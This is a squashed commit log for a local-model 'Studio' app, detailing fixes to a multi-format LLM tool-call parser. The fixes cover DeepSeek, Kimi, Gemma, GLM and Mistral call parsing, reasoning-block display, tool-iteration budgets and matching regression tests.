- DeepSeek R1 and V3/V3.1 strict parsing (Auto-Heal off): when a call is
  truncated (missing closing fence or <tool_call_end> terminator), skip it
  and keep scanning for later well-formed calls instead of breaking out and
  dropping the rest of the envelope. This matches the Kimi strict parser's
  recovery behaviour.

- Kimi dotted tool names: keep the full name after stripping only the
  functions. prefix and :idx suffix, e.g. functions.mcp.server-list:0 stays
  mcp.server-list. The previous split on "." truncated dotted MCP names to
  their last segment. This matches current vLLM
  (tool_id.split(":")[0].removeprefix("functions.")) and SGLang
  (^(?:functions\.)?(?P<name>[\w.\-]+):(?P<index>\d+)$).

- Gemma wrapper-less call streaming: hold the whitespace-tolerant prefix
  (call : NAME) in the streaming suppression buffer, matching the parser's
  _GEMMA_BARE_TC_RE, so the spaced spelling split across chunks is buffered
  instead of leaking as visible text. Applied to both the safetensors and
  llama.cpp streaming paths.

- Remove dead _render_with_native_template method and the now-unused copy
  import from inference.py; the live path uses render_with_native_template_fallback.

Adds regression tests for DeepSeek R1/V3 strict recovery, Kimi full dotted
name preservation, and the Gemma spaced-call streaming suppression.

* Studio tools: honor tool budget in GGUF loop and guard function-XML streaming strip

Round 4 review fixes. Both are asymmetric-fix bugs where the final/steady path got a
guard the analogous streaming/loop path did not.

- GGUF tool-call budget: the safetensors loop counts real tool-call turns against
  max_tool_iterations (re-prompt stalls excepted), but the GGUF loop only bounded the
  turn count by the enlarged range (max_tool_iterations + _MAX_REPROMPTS). Since this
  PR raised _MAX_REPROMPTS from 1 to 3, a model that keeps making valid tool calls
  could run up to three extra tool rounds (with max_tool_iterations=1, four rounds
  instead of one). Add a _tool_iters_done counter that increments only when a tool
  actually executed in the turn, and stop once the caller's budget is spent so the
  post-loop final-answer nudge fires. A duplicate/disabled no-op turn is a correction
  turn (like a plan-without-action re-prompt) and does not consume budget, preserving
  the existing "already completed" re-prompt behavior.

- Streaming display strip: the final strip runs the guarded _strip_function_xml_calls
  scanner (a literal <function=...> inside a parameter value is data, not a nested
  call), but the GGUF and safetensors streaming strips still used only the open-ended
  regex arms. When a tool-call argument contained literal function markup, the regex
  tail ate everything to end-of-text and dropped the real trailing prose after the
  call's true </function>. Run the guarded scanner (and the balanced Mistral strip)
  before the regex arms in both streaming paths so streaming and final display agree.

Adds regression tests: GGUF valid tool calls respect max_tool_iterations, and the
streaming strip keeps trailing prose after a function-XML call with a literal marker.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio tools: safetensors tool budget counts only executed turns (GGUF parity)

Follow-up to the GGUF budget fix. The safetensors loop charged max_tool_iterations
per non-re-prompt iteration (iteration + 1 - reprompt_count), so a duplicate/disabled
no-op turn spent a budget slot even though no tool ran. With a small cap this dropped
real work: for max_tool_iterations=2, a model that made a valid call, repeated it (an
internal no-op correction turn), then made a distinct valid call executed only the
first -- the third turn was sent with no tools and the distinct call was ignored.

Track whether a turn actually executed a tool (set on record_result) and count only
those turns against the cap, matching the GGUF loop. A duplicate/disabled no-op is a
correction turn -- like a plan-without-action re-prompt -- and no longer consumes
budget, so the model still gets its "already completed" nudge and another tool-enabled
turn. Adds a regression test for the small-cap duplicate-then-distinct-call flow.

* Studio tools: fix stale Kimi dotted-name regression test

test_pr5624_regressions.py still expected functions.my.tool:0 to resolve to the last
segment (tool). The parser now preserves the full dotted name (my.tool) after removing
only the functions. prefix and :idx suffix, matching current vLLM/SGLang so dotted MCP
names like mcp.server-list survive. Update the assertion, name, and module docstring to
the corrected contract (the raw id is still preserved on the call).

* Studio: render the reasoning block for safetensors and MLX like GGUF

enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think>
into the generation prompt, so the model emits only the closing </think> then
the answer. The safetensors/MLX chat stream emitted that as plain content, so
the reasoning showed inline with no collapsible thinking block, while GGUF
(which surfaces reasoning via reasoning_content) rendered one. This brings
safetensors and MLX to parity.

- _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts
  inside the reasoning block and splits on the first </think>; default False
  keeps GGUF and every existing caller byte-identical. It suppresses a stray
  re-emitted <think> and holds partial markers back across chunk boundaries.
- _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the
  request, an enable_thinking or enable_thinking_effort style, and the template
  actually using the standard <think>/</think> markers. Models with a bespoke
  reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their
  answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are
  excluded too.
- sf_tool_stream and stream_chunks (the latter also serves MLX) feed text
  through the extractor, emitting reasoning_content then content deltas, with a
  per-turn reset in the tool loop and a flush before each tool_start; only the
  visible delta reaches the monitor reply. The two non-streaming drains split
  reasoning_content the same way.
- Tests: extractor prefilled mode (streaming and edge cases), the gate matrix
  including the gemma-style exclusion, and a route-replay of the tool-loop
  reasoning stream.

* Studio: render the reasoning block for safetensors and MLX like GGUF

enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think>
into the generation prompt, so the model emits only the closing </think> then
the answer. The safetensors/MLX chat stream emitted that as plain content, so
the reasoning showed inline with no collapsible thinking block, while GGUF
(which surfaces reasoning via reasoning_content) rendered one. This brings
safetensors and MLX to parity.

- _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts
  inside the reasoning block and splits on the first </think>; default False
  keeps GGUF and every existing caller byte-identical. It suppresses a stray
  re-emitted <think> and holds partial markers back across chunk boundaries.
- _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the
  request, an enable_thinking or enable_thinking_effort style, and the template
  actually using the standard <think>/</think> markers. Models with a bespoke
  reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their
  answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are
  excluded too.
- sf_tool_stream and stream_chunks (the latter also serves MLX) feed text
  through the extractor, emitting reasoning_content then content deltas, with a
  per-turn reset in the tool loop and a flush before each tool_start; only the
  visible delta reaches the monitor reply. The two non-streaming drains split
  reasoning_content the same way.
- Tests: extractor prefilled mode (streaming and edge cases), the gate matrix
  including the gemma-style exclusion, and a route-replay of the tool-loop
  reasoning stream.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: don't force a tool re-prompt on a negated intent (safetensors parity)

The safetensors _INTENT_SIGNAL claimed to mirror GGUF but was missing the
negative lookahead, so a refusal like "I will not search the web for that"
matched the "i will" intent and triggered the plan-without-action re-prompt
(STOP... you MUST call a tool), overriding a valid no-tool answer. GGUF already
excludes not/never. Add the same (?!\s+(?:not|never)\b) lookahead so both
backends agree. Extends the intent parity test with negated refusals.

* studio: parse the outer envelope before DeepSeek/Kimi markers embedded in its args

parse_tool_calls_from_text ran the DeepSeek/Kimi marker pre-pass before the shared
<tool_call>/<function=...> parser. When a Qwen/Hermes call's argument contained
literal Kimi/DeepSeek markup (for example a user asking the model to explain that
syntax), the pre-pass matched the embedded marker and returned it, executing the
wrong tool and dropping the real call. Skip the pre-pass when a <tool_call> or
<function=...> envelope opens before the first DeepSeek/Kimi marker, so the shared
parser takes the outer call; a genuine marker-led call (no leading envelope) still
goes through the pre-pass. Tests for the embedded-marker case and the control.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: trim redundant comments (comment-only, AST-verified)

* Studio: trim redundant comments (comment-only, AST-verified)

* Studio: prevent Gemma tool-parser DoS on stray delimiters

_gemma_parse_value returned the input index unchanged when text[i] was a
stray delimiter (,}]), so the list and mapping caller loops that advance
on the returned index spun forever at 100% CPU on malformed input such as
[},]. Advance past the delimiter so parsing always terminates.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: strip Magistral [THINK] reasoning from final display/history

strip_tool_markup removed [TOOL_CALLS] and <function> markup but left a
leading Magistral [THINK]...[/THINK] block intact, so its bracket-form
reasoning (not the <think> the reasoning channel renders) leaked into the
safetensors display and conversation history while GGUF/llama.cpp routes
it natively. Drop the leading reasoning block at end-of-turn (final=True)
via the existing _strip_mistral_reasoning helper; streaming is untouched.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep times in wrapper-less Gemma tool arguments

The wrapper-less Gemma value scanner used _GEMMA_KEY_RE = [\w.\-]+ for keys,
which also matches a digit-leading token, so a comma followed by a time or
ratio inside a value (call:web_search{query:meet at 10:00, 11:00 tomorrow})
was misread as a new 11: key, truncating the query and injecting a bogus
argument. Require keys to start with a letter or underscore, matching the
identifier-start rule the wrapped path already uses (_GEMMA_NEXT_KEY_RE).
Add a regression test.

* Studio: treat markers/close-tags inside tool-call arguments as data

Four parser correctness fixes where a valid argument string was mistaken for
structure:

- DeepSeek: find the envelope-end token outside JSON strings, so a query/code
  argument containing the literal token no longer truncates the body and drops
  the whole call.
- GLM: locate the real </arg_value> as the one whose next token is <arg_key> /
  </tool_call> / end, so a value containing a literal </arg_value> (or
  </tool_call>) is kept instead of executing the tool with corrupted arguments.
- Attribute-form <function name="..."> envelopes now count in the embedded-marker
  guard, so a DeepSeek/Kimi marker inside a parameter value does not hijack the
  outer call and run the wrong tool.
- Wrapper-less Gemma call:NAME{...} is gated on the enabled tool names (parse and
  display strip), mirroring the Llama bare-JSON gate, so a disabled/example name in
  prose is not stolen as a call and the real answer is preserved.

Add regression tests for each.

* Gate route Gemma wrapperless strip by enabled tools; make Kimi section-end search string-aware

Route-level display stripping now threads the enabled tool-name set into the
Gemma wrapperless-call strip, so prose that mentions a disabled tool
(call:foo{...}) is preserved while active tool calls are still stripped. This
mirrors the parser-level gate already used in tool_call_parser.

The Kimi section-end lookup now searches outside JSON string literals, so a
section-end marker appearing inside an argument string no longer triggers a
false truncation that drops a valid tool call.

* Run DeepSeek/Kimi pre-pass when a closed tool-call example precedes a real block

The marker pre-pass was skipped whenever any <tool_call>/<function> opener
appeared before the first DeepSeek/Kimi marker, even when that opener was a
CLOSED syntax example in prose that ends before the real block. In that case
parse_tool_calls_from_text skipped the DeepSeek/Kimi parsers and the genuine
tool call was dropped while a phantom tool named in the example ran instead.

Only treat a marker as embedded in a leading envelope when removing the closed
outer <tool_call>/<function> envelopes also removes every marker (the marker
actually sat inside one). A marker left standing is a real call, so the pre-pass
runs. The legitimate case of a marker inside a closed outer envelope's arguments
is preserved.

* Honor reasoning_effort none in safetensors prefill; strip Magistral reasoning while streaming

Two safetensors/MLX reasoning fixes surfaced in review:

_sf_reasoning_prefill_mode only checked enable_thinking, so an
enable_thinking_effort (GLM-5.2) request that disables thinking via
reasoning_effort=none (without enable_thinking=False) still began in
prefilled-<think> mode. A plain answer with no </think> was then swallowed
whole into reasoning_content and the visible response came back empty. Thread
reasoning_effort into the predicate and treat none as disabled, mirroring
_request_reasoning_kwargs.

strip_tool_markup_streaming stripped tool markup but not the leading Magistral
[THINK]...[/THINK] bracket block, so the raw chain-of-thought leaked into the
streamed safetensors content instead of the reasoning drawer (GGUF routes it
natively). Apply _strip_mistral_reasoning first, matching the final strip; an
unclosed [THINK] is held from the marker on so nothing flickers.

* Heal truncated outer tool envelopes and keep quoted Gemma args intact

Two follow-ups from review of the marker pre-pass and Gemma parsing:

The leading-envelope guard only removed CLOSED outer <tool_call>/<function>
envelopes before deciding whether a DeepSeek/Kimi marker was embedded, so a
truncated outer call missing its close tag (whose argument embeds a marker) was
treated as a standalone marker and the embedded sample ran instead of the
intended outer call being Auto-Healed. Decide on the last outer opener before the
marker and whether it closed before the marker instead, so a closed syntax
example still runs the pre-pass while a real closed-or-truncated outer call keeps
it.

The wrapper-less Gemma argument scan tracked bracket depth but not quotes, so a
quoted value containing a comma followed by a key-like token (a search query such
as "weather, location: Boston") was split mid-string, truncating the value and
fabricating an extra argument. Track quote state (with escapes) so the top-level
comma boundary is only taken outside quoted spans.

* Span outer envelopes to their real close when locating embedded markers

Locating the DeepSeek/Kimi marker relative to a leading outer envelope used the
FIRST close tag after the opener, so a literal </function> or </tool_call> inside
an argument value (for example python code that contains the text) was mistaken
for the envelope boundary. The marker after it was then treated as a standalone
call and the embedded sample ran instead of the intended outer call.

Match the closed outer envelopes with the shared patterns that already extend to
the real final close (a literal close inside a value is data), and treat a marker
that survives their removal as embedded only when a still-open (truncated) outer
opener precedes it, so Auto-Heal still repairs a truncated outer call. A closed
syntax example before a genuine block still runs the pre-pass.

* Span the tool_call outer envelope to its real close in the marker guard

The leading-envelope check reused the lazy <tool_call>.*?</tool_call> strip
pattern, so a Qwen/Hermes JSON argument containing a literal </tool_call> ended
the span early. A DeepSeek/Kimi sample later in that same string then survived
the closed-envelope removal, and the pre-pass executed the embedded call instead
of the outer <tool_call>. The <function> arm already spanned to its real close;
give <tool_call> the same real-close pattern (with the negative lookahead that
keeps back-to-back calls separate) so a literal close inside a value is data.

* Preserve no-tool Gemma prose and keep later R1 calls when healing a close

Two review follow-ups:

_gemma_strip_gate returned None when no tools were enabled, and None means
strip every markerless call:NAME{...} block, so a no-tool answer that documents
the syntax (or the Anthropic display path, which passes an empty tool list as
None) had that prose deleted. It is a display/history gate, so return the
enabled-name set instead -- an empty set when no tool is enabled, which strips
nothing because every call:NAME{...} is then prose.

The DeepSeek R1 heal path located the close fence with an unbounded forward
search, so when a first call had balanced JSON but omitted its fence the search
landed on a LATER call's terminator and pos advanced past that valid call,
dropping it. Match the close immediately after the JSON (whitespace-skipped) like
the strict path, and advance by just the JSON when it is absent, so a multi-call
turn keeps its later well-formed calls (heal is now a superset of strict).

* Resume wrapper-less Gemma scan past a consumed call's balanced body

The markerless call:NAME{...} scan used finditer, which resumes right after the
opening call: token, so a nested call:OTHER{...} mentioned inside the first
call's own quoted string argument (for example a web_search query that quotes the
Gemma tool syntax) was re-matched and returned as a spurious second tool call,
executing an unintended tool. Walk with a manual cursor that resumes after the
outer call's balanced body (brace matching already skips quoted braces), so a
call's arguments are never rescanned. Genuinely separate back-to-back calls and
disabled/example prose are unaffected.

* Mistral outer call wins over XML literals; align healer signals with its parser

Two follow-ups on the shared-parser ordering after the healing-passthrough
merge:
- A well-formed [TOOL_CALLS] call whose JSON arguments quote tool XML parsed
  the literal instead of the outer call (executing the wrong tool). When the
  first XML signal sits inside a leading balanced Mistral body it is argument
  data, so the Mistral parser now runs first; an XML signal before the trigger
  keeps the normal order, so a [TOOL_CALLS] literal inside an XML call's
  arguments still stays data.
- passthrough_healing buffered streams on the parser module's broadened signal
  list (now including <|python_tag|> and [TOOL_CALLS]) but promotes with
  core.tool_healing, which does not parse those forms: a streamed Mistral or
  Llama text call was held until finalization and flushed as prose. The healer
  keeps its own signal list limited to the formats it can promote, restoring
  immediate streaming for the rest.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: Gemma wrapper-less marker literals and quotes, GLM embedded close pair

- The Gemma fallback deferral now keys on an actual wrapped opener
  (_GEMMA_TC_RE), not the wrapper literal anywhere in content: a wrapper-less
  call whose argument merely mentions <|tool_call> has nothing tool_healing
  can parse, and deferring it lost the call entirely (not executed and
  stripped from display).
- New _gemma_body_brace_end boundary scanner honors single- and double-quoted
  strings like _gemma_parse_stripped_body, shared by parse and strip, so a
  quoted brace in a code argument (code:print('}')) no longer truncates the
  executed arguments or the strip span.
- _glm_value_close now requires a structural </arg_value> to sit at balanced
  quote state: the full pair </arg_value></tool_call> embedded inside a string
  literal is data, not an early close. When no candidate balances, the first
  token-valid close wins as before.

* Address review: leading envelopes win over rehearsed literals

- New _first_foreign_tool_signal shared by the leading-envelope guards adds
  <|python_tag|> to the protected signal set: the spelled-out literal inside a
  Mistral call's arguments (a query about Llama built-in tool syntax) executed
  the inner literal instead of the outer call.
- New _xml_signal_inside_leading_bare_json guard, sibling of the Mistral one:
  a leading bare-JSON call whose string argument quotes tool XML (a code value
  citing <function=...>) had the literal promoted by the shared XML pass
  before the bare-JSON parser ran.
- Magistral [THINK]...[/THINK] is dropped once at parse entry instead of only
  inside the Mistral parser, so a call rehearsed in the think block in a
  foreign format can no longer be promoted while the real call after the
  block is lost. Parse now agrees with the display strip.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: a disabled leading bare-JSON object keeps its literals as data

When the leading bare-JSON object is ordinary content (name not an enabled
tool), the guard proved the first tool signal sits inside it, so falling
through to the XML/python_tag passes promoted quoted string data as a real
call. Drop the object and parse only the tail: a real call after the object
still parses, nothing inside it can be promoted.

* Address review: apostrophes in raw Gemma values, GLM strict key contract, per-model template token

- Quote openers in the wrapper-less Gemma boundary and body scanners now
  require value-start context (after : { [ ( , =): an apostrophe inside an
  unquoted value (query:what's the weather) opened quote mode, swallowed the
  real closing brace, and lost the whole call on common contraction queries.
  Quoted values keep hiding delimiters as before.
- A GLM <arg_key> with no <arg_value> tag now rejects the call in strict
  mode, matching the unclosed-value contract, instead of executing the tool
  with the argument silently dropped; Auto-Heal keeps the lenient skip.
- The native-template fallback reads the hf_token stored on the model record
  instead of the instance-wide last-load token, so a later token-less load
  cannot break template fetches for a previously loaded gated model (both
  the transformers and MLX backends).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: Mistral literals inside leading JSON, whitespace-tolerant wrapped Gemma opener

- The leading bare-JSON guard now treats the [TOOL_CALLS] trigger as a
  foreign signal: the Mistral parser runs before the bare-JSON one, so a
  literal quoted inside the leading object's strings was promoted over the
  outer call (or over ordinary JSON content).
- tool_healing's wrapped Gemma opener tolerates whitespace around call and
  the colon: sampling drift emits call: name{ and call : name{, and
  rejecting those lost the call entirely because no fallback re-parses the
  wrapped form. Strict mode still requires the closing tag.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: DeepSeek/Kimi markers inside leading JSON and Mistral envelopes stay data

The DeepSeek/Kimi pre-pass runs before the outer-call parsers, and
_marker_inside_leading_envelope only protected XML envelopes: a marker
quoted inside a leading bare-JSON or Mistral call's argument strings was
promoted as a separate no-arg call and the real outer call dropped. The
guard now recognizes those two leading envelopes as well; standalone
DeepSeek/Kimi calls keep parsing.

* Address review: accept dotted Gemma argument keys in the key-quoting scanner

The scanner quoted keys of [alnum_-] only, so a dotted key (user.name:...)
was left unquoted, json.loads failed, and the whole wrapped call was lost
(parse empty, strip wipes the markup). Dots now match the parser's own
key/name charset.

* Address review: a real DeepSeek/Kimi call after a disabled leading JSON object still parses

DeepSeek/Kimi markers are foreign signals for the leading bare-JSON guard
too: a marker literal inside a disabled leading object made the envelope
guard skip the pre-pass for the whole message, so a real DeepSeek/Kimi call
after the object was dropped. Routing the case through the guard's
drop-and-parse-the-tail recursion reaches the real call while the literal
inside the object stays data.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: leading Mistral call owns the turn, dotted keys after bare values

- A LEADING parseable [TOOL_CALLS] call now runs the Mistral parser first
  unconditionally: literal XML in trailing prose after the call was promoted
  by the earlier shared XML pass, executing the quoted example instead of
  the real leading call. XML leading keeps the normal order.
- _GEMMA_NEXT_KEY_RE accepts dots so a dotted key after a bare value
  (query:foo,user.name:bob) ends the value at the comma instead of being
  swallowed into it, matching the round-earlier key-quoting charset.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: a leading wrapper-less Gemma call owns the turn

A quoted foreign literal inside a leading wrapper-less Gemma call's
argument (a query citing another tool syntax) was promoted by tool_healing
before the Gemma fallback ran, executing the quoted example and dropping
the outer call. New leading guard, sibling of the Mistral and bare-JSON
ones, gated on an enabled name since the form is markerless. Foreign markup
leading keeps the normal order.

* Fix merge resolution: restore both leading-guard test classes intact

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: markup quoted inside a nameless leading JSON answer stays data

The leading bare-JSON guard required a top-level name, so a structured JSON
answer quoting tool markup in its strings (a response_format turn
documenting a tool's syntax) had the literal promoted by the later passes.
A nameless leading object that parses as real JSON now routes through the
same decline-then-parse-the-tail path; non-JSON braced prose keeps the old
behaviour, and a real call after the answer still parses.

* Address review: JSON answers stay data, nested Gemma quotes, earliest envelope, no failure caching

- A whole-content JSON value is a structured answer: the markerless Gemma
  scan and its strip no longer promote or strip a quoted example of an
  enabled tool's syntax inside it.
- Nested stripped-stream Gemma values now unquote quoted string leaves
  recursively, so {loc:{city:"New York"}} hands the tool New York, matching
  the top-level coercion.
- The DeepSeek/Kimi pre-pass dispatches by earliest envelope opener, so a
  leading real call wins over a trailing example of the sibling format in
  either direction.
- A failed native-template fetch is no longer cached as no-template: the
  next call retries after the model record's token is fixed or a transient
  Hub error clears; only definitive loads are cached.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: closed calls precede the marker pre-pass, truncated Gemma scan stops, quoted nested delimiters

- A closed non-DeepSeek/Kimi call preceding the first DS/Kimi marker owns
  the turn: a trailing syntax example, or one quoted inside a wrapped Gemma
  argument, was promoted by the pre-pass and dropped the real leading call.
  Wrapped Gemma joins the outer-envelope pattern sets.
- An unbalanced wrapper-less Gemma call now stops the scan (mirroring the
  strip contract) instead of resuming inside its own argument text, where a
  quoted enabled call would be promoted.
- Raw-quoted strings in nested stripped-stream Gemma values hide delimiters,
  so {city:"New, York"} is one value instead of a split pair, returned
  unquoted like the top-level coercion.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: string-marker literals in wrapper-less args, mid-value quoted phrases

- The wrapper-less deferral guard no longer keys on the <|"|> literal: a
  real call whose argument merely mentions the string marker was deferred to
  tool_healing, which has no wrapped opener to parse, losing the call. The
  wrapped-opener check alone owns the deferral.
- Double quotes now also open at the start of a word, so a quoted phrase
  mid-value (query:find "weather, location: Boston", limit:3) hides its
  delimiters instead of splitting the value into garbage keys; apostrophes
  keep the value-start-only rule so contractions stay prose.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: strict GLM refuses in-quote close fallback, Gemma guard covers preambles

- _glm_value_close gains a strict flag: a truncated value whose only close
  candidates sit inside a string literal rejects the call in strict mode
  (Auto-Heal keeps the lenient partial), restoring the strict contract the
  quote-aware fallback had weakened.
- The leading wrapper-less Gemma guard no longer requires the call to open
  the response: a visible preamble before call:NAME{...} is the normal
  shape, and the quoted foreign literal inside the argument was promoted
  again in that shape. An enabled balanced call beginning before the first
  foreign signal owns it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: contextual GLM quote openers, disabled Gemma examples stay prose, JSON array answers

- The GLM value-close quote tracker uses the same contextual openers as the
  Gemma scanners (single quote after punctuation context, double quote also
  at word start), so strict mode accepts a normal apostrophe value again
  while still rejecting a truncated value whose only close candidates sit
  inside a string literal.
- A disabled wrapper-less Gemma call is prose by design, so a tool literal
  quoted inside it no longer promotes: the span is dropped for parsing and
  the tail parsed, mirroring the nameless-JSON guard.
- Leading JSON ARRAY answers join the leading-JSON envelope guard, so a
  marker quoted inside a structured array response stays data.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Align closed-envelope regression test with the document-order contract

The test asserted the pre-round-13 behavior (trailing DeepSeek/Kimi block
wins over a leading closed envelope) while the shipped rule is document
order: the leading closed call owns the turn. Rename the test and assert
the leading call so the suite matches the contract exercised by
test_leading_xml_call_wins_over_trailing_kimi_example.

* Parse a leading Llama-3.2 bare-JSON call before the markerless Gemma scan

The bare-JSON form only ever matches a leading call object, and document
order says that call owns the turn. Running the Gemma wrapper-less scan
first let an enabled call:NAME{...} snippet quoted inside the leading
call's string arguments steal the turn when the JSON was not the whole
content (trailing prose or a second ;-separated call), executing the
quoted tool instead of the real one. Reordering cannot take a leading
Gemma call's turn since that content never starts with an object brace.

* Leading-call ownership: Mistral trigger in Gemma guards, closed bare JSON before markers, depth-aware nested Gemma values

Three parser gaps against the document-order contract:

The wrapperless Gemma leading guards did not count [TOOL_CALLS] as a
foreign signal, so a leading Gemma call quoting a Mistral snippet in its
argument lost the turn to the quoted literal. Both the enabled-call and
disabled-example guards now include the trigger, matching the bare-JSON
guard's local inclusion.

_marker_inside_leading_envelope required the DeepSeek/Kimi marker to sit
inside the first closed bare-JSON or Mistral call. A marker after that
closed call (a trailing example or data in a later ;-chained call's
strings) now also defers to the leading call, the same inside-or-after
rule the closed XML envelope patterns already applied.

The nested Gemma primitive value scan split on every comma, corrupting
arguments like opts:{code:print(1,2),lang:py}. It now applies the same
paren/brace depth, contextual quote openers, and comma-only-before-a-key
mapping rule as the top-level scan.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gemma leading guard: a closed enabled call preceding the signal owns the turn

The wrapperless Gemma guard only claimed the turn when the first foreign
signal sat inside the first enabled balanced call. When that call closed
before the signal (a second call quoting a Mistral or Kimi literal, or a
trailing prose example), the guard forfeited the turn and the foreign
parser promoted the quoted literal, dropping the real Gemma calls. Apply
the same inside-or-after ownership rule as the closed bare-JSON and
Mistral envelopes, gated on an enabled name so the name-agnostic legacy
path is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Marker guard: only an executable leading bare-JSON call owns the turn

The bare-JSON branch of the leading-envelope marker guard claimed the
turn for any NAMED leading object. A disabled-name object is prose by
design (the bare-JSON parser will not execute it), so deferring the
DeepSeek/Kimi pre-pass to it lost the real later call entirely. Gate the
ownership claim on the enabled set (or the name-agnostic None path). A
marker inside the disabled object's own strings stays data, matching the
tail-exclusion contract; a marker after it now falls through so the
pre-pass parses the real call. The Mistral branch stays ungated since
[TOOL_CALLS] parsing is never name-gated.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gemma scan skips leading JSON answers; GLM heal bounds values at structural tags

Two fixes to the document-order data contracts:

The markerless Gemma scan only exempted whole-content JSON, so a leading
JSON answer followed by prose had an enabled call:NAME{...} snippet
inside its strings promoted to a real executed call and stripped from
the displayed answer. Both the parse and strip scans now start after a
balanced json-valid leading value span, keeping parse and strip
mirrored. Real calls after the answer still parse; mid-prose JSON gets
no exemption.

The GLM heal fallback for a missing closing arg_value tag took the
entire remainder as the value, executing markup-contaminated arguments
like city="NYC</tool_call>" and swallowing trailing prose. The healed
value now stops at the next arg_key or tool_call close and the pair walk
resumes there. EOF-truncated values keep the partial heal, strict mode
still rejects, and closed values holding a literal close tag in quotes
are untouched.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Compress docstrings in the multi-format tool parser to their contract essence

* Condense parser guard comments and test narration to contract essentials

* verify_import_hoist: exempt __future__ imports and same-diff relocations

Two false positives fired on this PR's refactor. A from __future__ import
is a compiler directive whose name never appears as a runtime load, so
HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for
PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate
move of the strip-pattern constants into core.inference.tool_call_parser
as a silent re-point even though the old module-level target was removed
and the new one added in the same diff. Both get narrow exemptions; a
re-point to a pre-existing target is still caught, and the self-test
negative controls all pass unchanged.

* Leading bare-JSON calls own the turn; function calls end at the first balanced close

The XML-signal guard for a leading bare-JSON call required the signal
strictly inside the object, so a trailing XML example stole the turn
from the leading call; it now applies the same inside-or-after rule as
the Mistral guard. Function-XML calls also ended at the LAST close tag,
which let prose after a closed call that mentions a literal close tag
get swallowed into the final parameter value; calls now end at the
first close tag that is not inside an open parameter, and the strip
mirrors the same rule so parse and strip agree.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Attribute-form calls end at the first balanced close; bare-JSON strip requires the call shape

The attribute form parser still kept the last close tag in the call
window, folding prose after a closed call into the final parameter
value. It now takes the first close not inside an open parameter, the
same rule the equals form and the strip already use.

The leading bare-JSON strip deleted any closed object whose top-level
name matched an enabled tool, including plain JSON answers the parser
correctly rejects as non-calls. The strip (and the drain gate that
delegates to it) now requires the parser's exact call shape, so answers
like {"name":"web_search","result":...} stream and display intact.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* False-alarm markers keep the answer; the bare-JSON strip consumes the whole chain

The trailing strip arms dropped everything from a bare marker to EOF,
so a normal answer that mentions [TOOL_CALLS] or another marker
literally was truncated (or fully swallowed when it started with the
literal) after the no-call drain fallback. Those arms now require a
call-shaped lookahead or marker-at-EOF before dropping; truncated real
calls still strip.

Chained bare-JSON turns executed both calls but stripped only the first
object, so the second call's raw JSON replayed into the next assistant
history message alongside the structured tool_calls. The strip now
consumes the entire chained run of call-shaped enabled objects while
non-call answers, disabled names, and trailing prose stay intact.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* DeepSeek and Kimi trailing strip arms require a call-shaped lookahead

Same false-alarm rule as the bare-word markers: a prose answer that
mentions a DeepSeek or Kimi marker literally keeps its tail, while
truncated real envelopes and bare end-of-text fragments still drop.

* Attribute-form containment, parameter-close-decides rule, preamble-tolerant Mistral guard, strict strip shape

Four document-order and containment fixes. A leading attribute-form
call now parses before the shared XML pass, so markup quoted in its
parameter stays data. The open-parameter scan lets the parameter's own
close tag decide, so any number of literal function closes inside one
value stay data, restoring the pre-close-scan behavior for multi-close
arguments. The leading-Mistral guard tolerates a visible preamble, with
the leading-bare-JSON guard running first so a trigger quoted inside a
leading JSON object stays data. The bare-JSON strip requires the
parser's top-level name in every mode, so nested-name JSON answers
survive name-agnostic stripping.

